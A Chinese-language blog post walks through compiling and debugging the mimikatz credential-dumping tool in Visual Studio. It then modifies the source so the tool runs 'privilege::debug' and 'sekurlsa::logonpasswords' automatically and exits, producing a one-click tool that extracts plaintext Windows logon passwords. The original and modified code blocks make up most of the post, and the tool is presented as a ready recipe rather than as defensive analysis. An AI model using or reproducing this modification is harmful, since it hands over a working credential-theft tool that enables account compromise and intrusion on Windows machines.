【源码阅读】VS调试mimikatz-改造法国神器mimikatz执行就获取明文密码

0x1 概要

记得某位同学提起在XXX得到了一个一键生成明文的工具,觉得很是神奇。。。

然而我一看图标就知道是mimikatz,这工具是开源的,只要改两行代码就可以实现写死命令了。

顺带讲讲编译过程中的问题和解决方法。

0x2 详情

调试这个工具的时候,发现新版本没生成debug模式的选项,F11调试没有对应到源代码。仔细一看原来是没有生成调试文件。

设置让Release的程序也生成pdb文件即可。

另外mimikatz没有debug版,所以导致有些参数被优化了。没有办法跟进具体的变量和函数,所以还需要把以下选项调成Debug模式可用的设置。

0x3 修改

原来的代码是程序没有接收到退出信号,就卡在循环里,直到用户输入命令然后执行,既然已经知道原理就写死命令即可实现我想要的功能。

找到以下代码:

#ifndef _WINDLL
        while (status != STATUS_FATAL_APP_EXIT)
        {
                kprintf(L"\n" MIMIKATZ L" # "); fflush(stdin);
                if(fgetws(input, ARRAYSIZE(input), stdin) && (len = wcslen(input)) && (input[0] != L'\n'))
                {
                        if(input[len - 1] == L'\n')
                                input[len - 1] = L'\0';
                        kprintf_inputline(L"%s\n", input); //获取参数
                        status = mimikatz_dispatchCommand(input);
                }

        }
#endif
        mimikatz_end();
        return STATUS_SUCCESS;

修改后的代码:

#ifndef _WINDLL
        while (status != STATUS_FATAL_APP_EXIT)
        {
                //kprintf(L"\n" MIMIKATZ L" # "); fflush(stdin);
                //if(fgetws(input, ARRAYSIZE(input), stdin) && (len = wcslen(input)) && (input[0] != L'\n'))
                //{
                //        if(input[len - 1] == L'\n')
                //                input[len - 1] = L'\0';
                //        kprintf_inputline(L"%s\n", input); //获取参数
                //        status = mimikatz_dispatchCommand(input);
                //}
                //提权
                status = mimikatz_dispatchCommand(L"privilege::debug");
                //获取密码
                status = mimikatz_dispatchCommand(L"sekurlsa::logonpasswords");
                status = STATUS_FATAL_APP_EXIT;
        }
#endif
        mimikatz_end();
        return STATUS_SUCCESS;

0x4 效果

0x5 参考

vs:Release版本和Debug版本的区别以及转换

http://blog.csdn.net/hust_sheng/article/details/49964217

posted @ 2018-01-20 18:49  17bdw  阅读(1027)  评论(0编辑  收藏  举报